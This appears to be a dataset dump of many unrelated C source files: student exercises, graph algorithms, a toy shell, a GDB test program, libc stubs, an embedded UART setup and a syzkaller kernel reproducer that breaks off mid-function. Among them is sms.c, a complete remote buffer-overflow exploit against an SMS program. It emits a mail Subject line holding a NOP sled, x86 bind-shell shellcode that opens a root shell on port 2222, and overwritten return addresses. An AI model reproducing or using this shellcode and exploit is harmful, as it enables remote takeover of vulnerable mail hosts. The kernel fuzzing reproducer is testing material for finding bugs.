file
stringlengths 18
26
| data
stringlengths 3
1.04M
|
---|---|
the_stack_data/693189.c
|
//
// main.c
// Chapter-8-8.29
//
// Created by WalkingBoy on 2018/6/6.
// Copyright © 2018年 Walking Boy. All rights reserved.
//
#include <stdio.h>
int main(int argc, const char * argv[]) {
int a[5] = {3,2,1,5,3};
int *num[] = {&a[0],&a[1],&a[2],&a[3],&a[4]};
int **p;
p = num;
for (int i = 0; i < 5; i++) {
printf("%d ",**p);
p++;
}
printf("\n");
return 0;
}
|
the_stack_data/94333.c
|
#include "math.h"
double y0(double n) {
return 0.0;
}
|
the_stack_data/114986.c
|
#include <stdlib.h>
unsigned long strtoul(const char *string, char ** endptr, int base)
{
return strtol(string, endptr, base);
}
|
the_stack_data/59513910.c
|
#include<stdio.h>
int a[100000]={0};
int main()
{
int n,i,m,k,j;
scanf("%d",&n);
for(i=0;i<n;i++)
{
scanf("%d",&m);
a[m]++;
}
scanf("%d",&k);
for(i=99999;i>=0;i--)
{
if(a[i]!=0)
{
k--;
j=i;
}
if(k==0)
{
break;
}
}
printf("%d %d",i,a[i]);
return 0;
}
|
the_stack_data/156393139.c
|
/*
Faça um programa que leia três valores e apresente o maior dos três valores lidos seguido da mensagem “eh o maior”. Utilize a fórmula:
<img src="https://resources.urionlinejudge.com.br/gallery/images/problems/UOJ_1013.png" alt="Greatest Formula">
Obs.: a fórmula apenas calcula o maior entre os dois primeiros (a e b). Um segundo passo, portanto é necessário para chegar no resultado esperado.
Entrada
O arquivo de entrada contém três valores inteiros.
Saída
Imprima o maior dos três valores seguido por um espaço e a mensagem "eh o maior".
*/
#include <stdio.h>
#include <math.h>
int main() {
int a, b, c, maiorAB;
scanf("%d %d %d", &a, &b, &c);
maiorAB = (a+b+abs(a-b)) / 2;
if(maiorAB > c){
printf("%d", maiorAB);
}else{
printf("%d", c);
}
printf(" eh o maior\n");
return 0;
}
|
the_stack_data/40762562.c
|
#include "math.h"
int signgam = 0;
|
the_stack_data/1221523.c
|
int fib(int n)
{
int i, prevPrev, prev, current;
// edge cases:
assert(n >= 0); // index must not be negative
if (n == 0 || n == 1) {
return n;
}
// we'll be building the fibonacci series from the bottom up
// so we'll need to track the previous 2 numbers at each step
prevPrev = 0; // 0th fibonacci
prev = 1; // 1st fibonacci
current = 0; // Declare and initialize current
for (i = 1; i < n; i++) {
// Iteration 1: current = 2nd fibonacci
// Iteration 2: current = 3rd fibonacci
// Iteration 3: current = 4th fibonacci
// To get nth fibonacci ... do n-1 iterations.
current = prev + prevPrev;
prevPrev = prev;
prev = current;
}
return current;
}
|
the_stack_data/150142308.c
|
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
/*
* in alternativa a read_random_bytes, si può usare:
*
GETRANDOM(2) Linux Programmer's Manual GETRANDOM(2)
NAME
getrandom - obtain a series of random bytes
SYNOPSIS
#include <sys/random.h>
ssize_t getrandom(void *buf, size_t buflen, unsigned int flags);
attenzione che solo la richiesta fino a 256 bytes è garantita (leggere il manuale)
vedere anche:
https://repl.it/@MarcoTessarotto/getrandom-syscall
*
*/
char * read_random_bytes(int size) {
char * fileName = "/dev/urandom";
int fd = open(fileName, O_RDONLY);
if (fd == -1) { // errore!
fprintf(stderr,"open error %d\n", errno);
return NULL;
}
printf("descriptor = %d\n", fd);
char * buffer;
int bytesRead;
int pos = 0;
int totalBytesToRead = size * sizeof(char);
buffer = malloc(totalBytesToRead);
while (pos < totalBytesToRead) {
bytesRead = read(fd, buffer + pos, totalBytesToRead - pos);
if (bytesRead == -1) {
fprintf(stderr, "error while reading %d\n", errno);
free(buffer);
return NULL;
}
pos += bytesRead;
fprintf(stdout,"read %d bytes from file, now at position %d of %d\n", bytesRead, pos, totalBytesToRead);
}
fprintf(stdout,"total read %d bytes from file\n", pos);
close(fd);
return buffer;
}
ssize_t min(ssize_t a, ssize_t b) {
return a < b ? a : b;
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("scrive N bytes random nel file indicato\n");
printf("utilizzo: write_file_sc FILE [numero_bytes]\n");
printf("numero_bytes è opzionale, default value: 16384\n");
exit(EXIT_SUCCESS);
}
char * file_name = argv[1];
int output_file_size = 1024 * 16;
if (argc >= 3) {
output_file_size = strtol(argv[2], NULL, 10); // base 10
if (output_file_size < 0)
output_file_size = 1024 * 16;
}
printf("scrivo file %s, dimensione finale=%d\n", file_name, output_file_size);
int fd = open(file_name, O_WRONLY | O_CREAT | O_TRUNC, S_IRWXU);
if (fd == -1) {
fprintf(stderr ,"error in opening file for writing! err=%d\n", errno);
exit(EXIT_FAILURE);
}
ssize_t totalBytesToWrite = output_file_size;
ssize_t readSize = 1024;
char * random_data = read_random_bytes(totalBytesToWrite);
int pos = 0;
ssize_t bytesWritten;
while (pos < totalBytesToWrite) {
bytesWritten = write(fd, random_data + pos, min(totalBytesToWrite - pos,readSize) );
if (bytesWritten == -1) {
fprintf(stderr, "error while writing %d\n", errno);
free(random_data);
close(fd);
exit(EXIT_FAILURE);
}
pos += bytesWritten;
fprintf(stdout,"have written %ld bytes to file, now at position %d of %ld\n", bytesWritten, pos, totalBytesToWrite);
}
close(fd);
free(random_data);
printf("complete!\n");
exit(EXIT_SUCCESS);
}
|
the_stack_data/7949157.c
|
#include <unistd.h>
#include <stdio.h>
#include <ctype.h>
#include <stdlib.h>
char zero_buf[1024*1024];
int main(int argc, char **argv) {
int i;
unlink("zero");
FILE* myfile = fopen("zero", "w+");
if (argc <3) {
fprintf(stderr, "usage: ./writer <write> <stride>\n"
"where <write> is number of MB to write, and <stride> is seek between reads\n");
return(1);
}
int num= atoi(argv[1]);
int stride = atoi(argv[2]);
for (i=0;i<num; i++) {
fwrite(zero_buf, 1024*1024, 1, myfile);
}
fflush(myfile);
rewind(myfile);
int fd = fileno(myfile);
for (i=0; i<num; i+=stride+1) {
fread(zero_buf, 1024*1024, 1, myfile);
lseek(fd, stride * 1024 * 1024, SEEK_CUR);
stride++;
}
fclose(myfile);
exit(0);
}
|
the_stack_data/458204.c
|
// Exercício 09 - Dado dois vetores, A e B, faça um programa em C que imprima
// todos os elementos comuns aos dois vetores.
# include <stdio.h>
int linha(void) {
char x = '-';
printf("\n\033[33m");
for (int count = 0; count < 30; count ++) {
printf("%c", x);
}
printf("\033[m\n\n");
return 0;
}
int main(void) {
int qtdA = 0, qtdB = 0;
linha();
printf("\033[32m## ELEMENTOS EM COMUM.\033[m\n");
linha();
printf("Quantidade de números a serem digitados no vetor A: ");
scanf("%i", &qtdA);
int vetorA[qtdA];
linha();
for (int count = 0; count < qtdA; count ++) {
printf("Digite %i números [%i/%i]: ",qtdA, count + 1, qtdA);
scanf("%i", &vetorA[count]);
}
linha();
printf("Quantidade de números a serem digitados no vetor B: ");
scanf("%i", &qtdB);
int vetorB[qtdB];
linha();
for (int count = 0; count < qtdB; count ++) {
printf("Digite %i números [%i/%i]: ",qtdB, count + 1, qtdB);
scanf("%i", &vetorB[count]);
}
linha();
int count_comum = 0, comum[qtdA];
for (int countA = 0; countA < qtdA; countA ++) {
for (int countB = 0; countB < qtdB; countB ++) {
if (vetorA[countA] == vetorB[countB]) {
int count_repetido = 0;
for (int count = 0; count < count_comum; count ++) {
if (comum[count] == vetorA[countA]) {
count_repetido ++;
}
}
if (count_repetido <= 1) {
comum[count_comum] = vetorA[countA];
count_comum ++;
}
}
}
}
printf("Números em comum: ");
for (int count = 0; count < count_comum; count ++) {
printf("%i%s", comum[count], (count == count_comum - 1) ? "" : " | ");
}
printf("\n");
linha();
return 0;
}
|
the_stack_data/212643087.c
|
float sum(float a, float b) {
return a + b;
}
|
the_stack_data/150143080.c
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_isalpha.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: baslanha <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2022/02/16 12:14:55 by baslanha #+# #+# */
/* Updated: 2022/02/18 11:42:11 by baslanha ### ########.fr */
/* */
/* ************************************************************************** */
int ft_isalpha(int c)
{
if (c < 'A' || (c > 'Z' && c < 'a') || c > 'z')
return (0);
return (1);
}
/*
#include <stdio.h>
int main ()
{
int a = 'a';
int b = 'B';
int c = '.';
printf("Harf: %d\nHarf: %d\nHarf Değil: %d", \
ft_isalpha(a),ft_isalpha(b),ft_isalpha(c));
return (0);
}
*/
|
the_stack_data/23575228.c
|
#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#define BUFF_SIZE 256
#define MAX_ARGS 15
int main(int argc, char * argv[],char * envp[]) {
char buffer[BUFF_SIZE];
char * args[MAX_ARGS];
while(1) {
write(STDOUT_FILENO,"\nminish> ",8);
fgets(buffer,sizeof(buffer),stdin);
if(strcmp(buffer,"quit\n") == 0) {
break;
}
char* token;
token = strtok(buffer," ");
args[0] = token;
int i = 1;
for(;i<MAX_ARGS;i++) {
token = strtok(NULL, " ");
if(token == NULL) {
args[i] = NULL;
break;
}
args[i] = token;
}
args[i-1][strlen(args[i-1])-1] = '\0'; //replace \n character with \0
if(fork() > 0) {
int stat;
wait(&stat);
}
else {
if(i>= 3 && strcmp(args[i-2],"-o") == 0) {
int fd = open(args[i-1],O_WRONLY|O_CREAT|O_TRUNC,00644);
if(fd == -1) {
write(STDOUT_FILENO,"\nFailed to open file. Writing in stdout.\n",41);
break;
}
dup2(fd,STDOUT_FILENO);
args[i-2] = NULL;
}
execvp(args[0],args);
write(STDOUT_FILENO,"Failed to execute!\n",19);
exit(1);
}
}
exit(0);
}
|
the_stack_data/59511443.c
|
/* This testcase is part of GDB, the GNU debugger.
Copyright 2016-2020 Free Software Foundation, Inc.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>. */
#include <unistd.h>
int
some_function (void)
{
/* Sleep a bit to make sure the next command is queued before this
function returns. */
sleep (1);
return 1;
}
int
main (int argc, char **argv)
{
some_function ();
return 0;
}
|
the_stack_data/131393.c
|
#include <stdio.h>
#include <ctype.h>
#define NUMBER 1
#define OTHER 0
int getch(void);
void ungetch(int character);
int getint(int *pn);
int buf; // buffer for ungetch
int bufp = 0; // indicates whether the buffer is in use
int main()
{
int number, c;
while ((c = getint(&number)) != OTHER && c != EOF)
{
printf("%d\n", number);
}
return 0;
}
int getint(int *pn)
{
int c, sign;
while (isspace(c = getch()))
; // skip whitespace
if (!isdigit(c) && c != EOF && c != '+' && c != '-')
{
ungetch(c); // it's not a number!
return OTHER;
}
sign = (c == '-') ? -1 : 1;
if (c == '+' || c == '-') c = getch();
if (isdigit(c))
{
for (*pn = 0; isdigit(c); c = getch())
{
*pn = 10 * *pn + (c - '0');
}
}
else
{
ungetch(c);
return OTHER;
}
*pn *= sign;
if (c != EOF) ungetch(c);
return NUMBER;
}
/**
* gets a (possible pushed back) character
*/
int getch(void)
{
if (bufp > 0)
{
bufp = 0;
return buf;
}
else
{
return getchar();
}
}
/**
* pushes a character back onto the input
*/
void ungetch(int c)
{
buf = c;
bufp = 1;
}
|
the_stack_data/39622.c
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <assert.h>
#include <sys/wait.h>
int main(int argc, char *argv[])
{
int rc = fork();
if (rc < 0) {
// fork failed; exit
fprintf(stderr, "fork failed\n");
exit(1);
} else if (rc == 0) {
close(STDOUT_FILENO);
printf("Child thread here!\n");
} else {
// parent goes down this path (original process)
printf("Parent thread here!\n");
}
// more than likely what I expect to happen is since stdout will be closed from the terminal for the child process
// printf will just dump the null-terminated string into a buffer and just leave it there (aka it goes nowhere and "Child thread here!\n" should not print to the terminal)
// UPDATE: did exactly that
return 0;
}
|
the_stack_data/62637893.c
|
/*
* sms, wersja: 1.8.2,
* Wysylanie wiadomosci na telefony sieci Era, Plus GSM i Idea Centertel.
*
* *REMOTE EXPLOIT*
*
* (c) 2000 babcia padlina / buffer0verfl0w security (b0f.freebsd.lublin.pl)
*
* Send mail generated by program. After successfull exploiting, telnet
* to port 2222.
*
* Sometimes adjusting parameter BUFSIZE may be useful. It depends on
* procmail script configuration.
*/
#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>
#define NOP 0x90
#define OFS 0
#define BUFSIZE 914
#define ADDRS 8
#define RET 0xbffff970 /* most redhat boxes */
static const char rcsid[] =
"$Id: sms.c,v 1.1.1.1 2001/05/21 15:28:06 venglin Exp $";
char shell[] = /* duke bind shellcode */
"\xeb\x10\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xc3\x31\xc0\xb0\x01\xcd"
"\x80\xc3\xe8\xeb\xff\xff\xff\xb0\x06\xcd\x80\xb0\x06\xfe\xc3\xcd"
"\x80\xb0\x06\xfe\xc3\xcd\x80\xb0\x02\xcd\x80\x39\xc1\x75\xdc\xe8"
"\xce\xff\xff\xff\xb0\x02\xb1\x01\xb2\x06\x52\x51\x50\xb3\x01\xb0"
"\x66\x89\xe1\xcd\x80\x89\xc6\xe8\xb6\xff\xff\xff\x83\xc4\x12\x50"
"\xb9\x02\xff\x08\xae\x30\xed\x51\x89\xe2\x83\xec\x06\xb0\x10\x50"
"\xb3\x02\x52\x56\xb0\x66\x89\xe1\xcd\x80\xb0\x10\x50\x56\xb0\x66"
"\xb3\x04\x89\xe1\xcd\x80\xe8\x87\xff\xff\xff\x50\x50\x56\xb0\x66"
"\xb3\x05\x89\xe1\xcd\x80\x31\xc9\x88\xc3\xb0\x29\xcd\x80\xb0\x3f"
"\xcd\x80\xeb\x16\x5e\x88\x4e\x07\x89\x76\x08\x89\x4e\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe5\xff\xff\xff"
"/bin/sh";
int main(argc, argv)
int argc;
char **argv;
{
char *buf, *p;
int noplen, i, ofs;
long ret, *ap;
if(!(buf = (char *)malloc(BUFSIZE+ADDRS+10)))
{
perror("malloc()");
return -1;
}
if (argc > 1)
ofs = atoi(argv[1]);
else
ofs = OFS;
ret = RET + ofs;
noplen = BUFSIZE - strlen(shell);
memset(buf, NOP, noplen);
buf[noplen+1] = '\0';
strcat(buf, shell);
p = buf + noplen + strlen(shell);
ap = (unsigned long *)p;
for(i = 0; i < ADDRS / 4; i++)
*ap++ = ret;
p = (char *)ap;
*p = '\0';
fprintf(stderr, "RET: 0x%x len: %d\n\n", ret, strlen(buf));
printf("Return-Path: @\n");
printf("Subject: %s\n\n", buf);
return 0;
}
|
the_stack_data/220456841.c
|
// kruskal's algo on finding min span tree
// done
#include<stdio.h>
#include<stdlib.h>
typedef struct Edge{
int src;
int des;
int weight;
}Edge;
typedef struct Graph{
int V;
int E;
Edge *edges;
}Graph;
Graph *create(int V, int E){
Graph *g = (Graph*)malloc(sizeof(Graph));
g->V = V;
g->E = E;
g->edges = (Edge*)malloc(E*sizeof(Edge));
int i;
for(i = 0; i < E; i++){
Edge hlp;
scanf("%d%d%d",&hlp.src,&hlp.des,&hlp.weight);
*(g->edges+i) = hlp;
}
return g;
}
// sort:: qsort() in stdlib.h; we can try merge sort
// or just implement minheap to lower time complexity
int comp(const void* a, const void* b){
Edge *aa = (Edge*)a;
Edge *bb = (Edge*)b;
return aa->weight - bb->weight; // this works as well, should be 1,0,-1 tho
}
void swap(int *a, int *b){
*a ^= *b;
*b ^= *a;
*a ^= *b;
}
int *heap;
// collapsing find:: make root(height<0) the only parent in a tree/heap
// heap:
// idx: 0 1 2 3 ...
// height: 1 2 -3 0 ..
// after find(): 2 2 -3 2
int Find(int tar){
/* if parent != Find(tar)
path compression
return parent
*/
int parent = *(heap+tar);
// int height = Find(parent);
// if height < 0:: root node, so return
if (parent < 0){
return tar;
}
// else: path compression
parent = Find(parent); // find recursively
*(heap+tar) = parent; // fill in
return parent;
}
// height rule (weight rule is fine tho)
void united(int a, int b){
// maintain a >= b
if(a < b){
swap(&a,&b);
}
// increase height by 1, height < 0
if(Find(a) == Find(b)){
*(heap+a) -= 1;
}
*(heap+b) = a; // united
}
void MST(Graph *graph){
/*
kruskal:
start with vertices and no edges
if ith edge cost the least and not form a cycle
, then build edge
while(i < V && graph not empty()){
// parent of src and des for each edge
x = find(*(g->edges+i)->src)
y = find(*(g->edges+i)->des)
if not from a cycle
merge(x,y)
else
discard the edge
}
*/
// init heap:: init height as -1
// and keep it negative if it's a root node
int i;
int V = graph->V;
heap = (int*)malloc(V*sizeof(int));
for(i = 0; i < V; i++){
*(heap+i) = -1;
}
qsort(graph->edges,graph->E,sizeof(Edge),comp);
// can init result array :: type Edge* or int*
int totalcost = 0;
int E = graph->E;
i = 0;
int idx = 0;
while(idx < V && i < E-1){ // a bit faster than i < E-1 && idx < V
printf("epoch: %d%3d%3d%4d;",i,(*(graph->edges+i)).src, (*(graph->edges+i)).des,(*(graph->edges+i)).weight);
int x = Find((*(graph->edges+i)).src);
int y = Find((*(graph->edges+i)).des);
printf(" x: %d y: %d\n",x,y);
if(x != y){
idx += 1;
totalcost += (*(graph->edges+i)).weight;
united(x,y);
}
i += 1;
}
printf("\ntotal cost: %d\n",totalcost);
}
/*
input:
7 9
0 1 28
0 5 10
1 2 16
5 4 25
6 4 24
1 6 14
3 4 22
2 3 12
3 6 18
output:
99
*/
int main(void){
int V, E;
scanf("%d%d",&V,&E);
Graph *g = create(V,E);
MST(g);
return 0;
}
|
the_stack_data/1219329.c
|
#include <stdio.h>
#include <stdlib.h>
#define MAX 0x7FFFFFFF
//注意与最大值相加溢出的问题
int C[7][7] = {{0,20,50,30,MAX,MAX,MAX},
{MAX,0,25,MAX,MAX,70,MAX},
{MAX,MAX,0,40,25,50,MAX},
{MAX,MAX,MAX,0,55,MAX,MAX},
{MAX,MAX,MAX,MAX,0,10,70},
{MAX,MAX,MAX,MAX,MAX,0,50},
{MAX,MAX,MAX,MAX,MAX,MAX,0}};
int SHROTEST_PATHS(int v,int **COST,int **DIST,int n);
int min_dist(int *DIST,int *S,int n);
int main() {
int i = 0,j = 0;
int v = 1,n = 7;
int **COST;
COST = (int **)malloc(sizeof(int*) * n);
for(i = 0;i < n;i++) COST[i] = (int *)malloc(sizeof(int) * n);
int *DIST = (int *)malloc(sizeof(int) * n);
for(i = 0;i < n;i++) {
for(j = 0;j < n;j++) {
COST[i][j] = C[i][j];
printf("%d ",COST[i][j]);
}
printf("\n");
}
printf("\n");
if(v > 0) SHROTEST_PATHS(v,COST,&DIST,n);
else {
printf("v错误\n");
return 0;
}
return 1;
}
int SHROTEST_PATHS(int v,int **COST,int **DIST,int n) {
int i = 0,u = 0,w = 0;
int S[n];
v--;
for(i = 0;i < n;i++) {
S[i] = 0;
(*DIST)[i] = COST[v][i];
}
S[v] = 1;
(*DIST)[v] = 0;
for(i = 1;i < n-1;i++) {
u = min_dist(*DIST,S,n);
if(u < 0) return 0;
S[u] = 1;
for(w = 0;w < n;w++) {
if(S[w] == 0) {
printf("\"%d,%d;%d,%d\"",u,w,(*DIST)[w],COST[u][w]);
if(COST[u][w] + (*DIST)[u] > (*DIST)[u]) {
if((*DIST)[w] > (*DIST)[u]+COST[u][w]){
(*DIST)[w] = (*DIST)[u]+COST[u][w];
}
}
}
printf("%d ",(*DIST)[w]);
}
printf("\n");
}
return 1;
}
int min_dist(int *DIST,int *S,int n) {
int i = 0,m = -1;
int temp = MAX;
for(i = 0;i < n;i++) {
if(S[i] == 0) {
if(DIST[i] < temp) {
temp = DIST[i];
m = i;
}
}
}
return m;
}
|
the_stack_data/86075666.c
|
// Top-level routine for starting Forth
#define cell long
void spi_read(cell offset, cell len, cell adr);
#define UARTREG ((unsigned int volatile *)0xd4018000) // UART3
// #define UARTREG ((unsigned int volatile *)0xd4030000) // UART1
void init_io(void);
main()
{
void *up;
init_io(); // Perform platform-specific initialization
spi_read(0x2000, 0x18000, 0xd1000000);
((void (*)())0xd1000000)();
}
void init_io()
{
*(int *)0xd4051024 = 0xffffffff; // PMUM_CGR_PJ - everything on
*(int *)0xD4015064 = 0x7; // APBC_AIB_CLK_RST - reset, functional and APB clock on
*(int *)0xD4015064 = 0x3; // APBC_AIB_CLK_RST - release reset, functional and APB clock on
*(int *)0xD401502c = 0x13; // APBC_UART1_CLK_RST - VCTCXO, functional and APB clock on (26 mhz)
*(int *)0xD4015034 = 0x13; // APBC_UART3_CLK_RST - VCTCXO, functional and APB clock on (26 mhz)
// *(int *)0xd401e120 = 0xc1; // GPIO51 = af1 for UART3 RXD
// *(int *)0xd401e124 = 0xc1; // GPIO52 = af1 for UART3 TXD
*(int *)0xd401e260 = 0xc4; // GPIO115 = af4 for UART3 RXD
*(int *)0xd401e264 = 0xc4; // GPIO116 = af4 for UART3 TXD
*(int *)0xd401e0c8 = 0xc1; // GPIO29 = af1 for UART1 RXD
*(int *)0xd401e0cc = 0xc1; // GPIO30 = af1 for UART1 TXD
UARTREG[1] = 0x40; // Marvell-specific UART Enable bit
UARTREG[3] = 0x83; // Divisor Latch Access bit
UARTREG[0] = 42; // 38400 baud
UARTREG[1] = 00; // 38400 baud
UARTREG[3] = 0x03; // 8n1
UARTREG[2] = 0x07; // FIFOs and stuff
*(int *)0xd4015050=7; // Clock on
*(int *)0xd4015050=3;
*(int *)0xd401e100 = 0x5003; // Pin muxing - GPIO43..46
*(int *)0xd401e104 = 0x5003;
*(int *)0xd401e108 = 0x5003;
*(int *)0xd401e10c = 0x5003;
}
void irq_handler()
{
}
void swi_handler()
{
}
|
the_stack_data/248580399.c
|
#include <stdio.h>
int main()
{
char *p;
int *p2;
printf("%p %p\n%p %p\n", p, p + 1, p2, p2 + 1);
return 0;
}
|
the_stack_data/729629.c
|
/*
* Debug.c
*
* Created on: 2021, 7, 12
* Author: h13
*/
#ifdef DEBUG
#include "Debug.h"
#include <stdint.h>
#include "SimpleProtocolPraise.h"
#include "PIDAdjust.h"
/**
* @brief: Debug handler.
* @param: Debug Port raw data.
*/
__attribute__((always_inline)) inline void DebugHandler(uint8_t data)
{
static uint8_t buffer[32] = { '\0' };
static uint8_t len = 0;
#if defined(PIDParallel) || defined(PIDCascade)
GeneratePraiseWithSuffixMethod(data, "\r\n", 2, buffer, 32, len, PIDAdjust(buffer, len - 2));
#endif
}
#endif
|
the_stack_data/108611.c
|
// KASAN: use-after-free Read in tasklet_action
// https://syzkaller.appspot.com/bug?id=6e383a6434b67479431f
// status:0
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <pthread.h>
#include <sched.h>
#include <setjmp.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <linux/capability.h>
#include <linux/futex.h>
#include <linux/genetlink.h>
#include <linux/if_addr.h>
#include <linux/if_ether.h>
#include <linux/if_link.h>
#include <linux/if_tun.h>
#include <linux/in6.h>
#include <linux/ip.h>
#include <linux/neighbour.h>
#include <linux/net.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/tcp.h>
#include <linux/veth.h>
static unsigned long long procid;
static __thread int skip_segv;
static __thread jmp_buf segv_env;
static void segv_handler(int sig, siginfo_t* info, void* ctx)
{
uintptr_t addr = (uintptr_t)info->si_addr;
const uintptr_t prog_start = 1 << 20;
const uintptr_t prog_end = 100 << 20;
if (__atomic_load_n(&skip_segv, __ATOMIC_RELAXED) &&
(addr < prog_start || addr > prog_end)) {
_longjmp(segv_env, 1);
}
exit(sig);
}
static void install_segv_handler(void)
{
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_handler = SIG_IGN;
syscall(SYS_rt_sigaction, 0x20, &sa, NULL, 8);
syscall(SYS_rt_sigaction, 0x21, &sa, NULL, 8);
memset(&sa, 0, sizeof(sa));
sa.sa_sigaction = segv_handler;
sa.sa_flags = SA_NODEFER | SA_SIGINFO;
sigaction(SIGSEGV, &sa, NULL);
sigaction(SIGBUS, &sa, NULL);
}
#define NONFAILING(...) \
{ \
__atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); \
if (_setjmp(segv_env) == 0) { \
__VA_ARGS__; \
} \
__atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); \
}
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static void use_temporary_dir(void)
{
char tmpdir_template[] = "./syzkaller.XXXXXX";
char* tmpdir = mkdtemp(tmpdir_template);
if (!tmpdir)
exit(1);
if (chmod(tmpdir, 0777))
exit(1);
if (chdir(tmpdir))
exit(1);
}
static void thread_start(void* (*fn)(void*), void* arg)
{
pthread_t th;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 128 << 10);
int i;
for (i = 0; i < 100; i++) {
if (pthread_create(&th, &attr, fn, arg) == 0) {
pthread_attr_destroy(&attr);
return;
}
if (errno == EAGAIN) {
usleep(50);
continue;
}
break;
}
exit(1);
}
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (ev->state)
exit(1);
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
static int event_isset(event_t* ev)
{
return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
}
static int event_timedwait(event_t* ev, uint64_t timeout)
{
uint64_t start = current_time_ms();
uint64_t now = start;
for (;;) {
uint64_t remain = timeout - (now - start);
struct timespec ts;
ts.tv_sec = remain / 1000;
ts.tv_nsec = (remain % 1000) * 1000 * 1000;
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts);
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
return 1;
now = current_time_ms();
if (now - start > timeout)
return 0;
}
}
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
struct nlmsg {
char* pos;
int nesting;
struct nlattr* nested[8];
char buf[1024];
};
static struct nlmsg nlmsg;
static void netlink_init(struct nlmsg* nlmsg, int typ, int flags,
const void* data, int size)
{
memset(nlmsg, 0, sizeof(*nlmsg));
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
hdr->nlmsg_type = typ;
hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags;
memcpy(hdr + 1, data, size);
nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size);
}
static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data,
int size)
{
struct nlattr* attr = (struct nlattr*)nlmsg->pos;
attr->nla_len = sizeof(*attr) + size;
attr->nla_type = typ;
memcpy(attr + 1, data, size);
nlmsg->pos += NLMSG_ALIGN(attr->nla_len);
}
static void netlink_nest(struct nlmsg* nlmsg, int typ)
{
struct nlattr* attr = (struct nlattr*)nlmsg->pos;
attr->nla_type = typ;
nlmsg->pos += sizeof(*attr);
nlmsg->nested[nlmsg->nesting++] = attr;
}
static void netlink_done(struct nlmsg* nlmsg)
{
struct nlattr* attr = nlmsg->nested[--nlmsg->nesting];
attr->nla_len = nlmsg->pos - (char*)attr;
}
static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type,
int* reply_len)
{
if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting)
exit(1);
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
hdr->nlmsg_len = nlmsg->pos - nlmsg->buf;
struct sockaddr_nl addr;
memset(&addr, 0, sizeof(addr));
addr.nl_family = AF_NETLINK;
unsigned n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0,
(struct sockaddr*)&addr, sizeof(addr));
if (n != hdr->nlmsg_len)
exit(1);
n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0);
if (hdr->nlmsg_type == NLMSG_DONE) {
*reply_len = 0;
return 0;
}
if (n < sizeof(struct nlmsghdr))
exit(1);
if (reply_len && hdr->nlmsg_type == reply_type) {
*reply_len = n;
return 0;
}
